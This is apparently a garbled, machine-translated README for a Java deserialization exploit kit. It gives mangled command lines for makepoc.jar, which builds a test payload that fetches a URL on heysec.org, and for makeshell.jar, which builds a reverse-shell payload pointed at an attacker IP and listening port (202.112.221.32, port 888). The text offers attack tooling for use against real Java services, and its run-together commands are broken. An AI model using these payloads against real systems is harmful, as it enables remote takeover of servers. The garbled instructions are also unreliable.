(Java deserialization generates Payload, which can rebound the shell and test POC. The usage is as follows: The Java environment installs and generates the test Payloadjava jarmakepoc. jar requested URL Payload name, such as: java jarmakepoc. jarheysec. org/xxooxxooxxooxxoo. txt D: java shellpayload generates bounce shelljava jarmakeshell.jar Your IP listening port Payload name, such as: java jarmakeshell. jar 202.112.221.32888D: java shellpayload)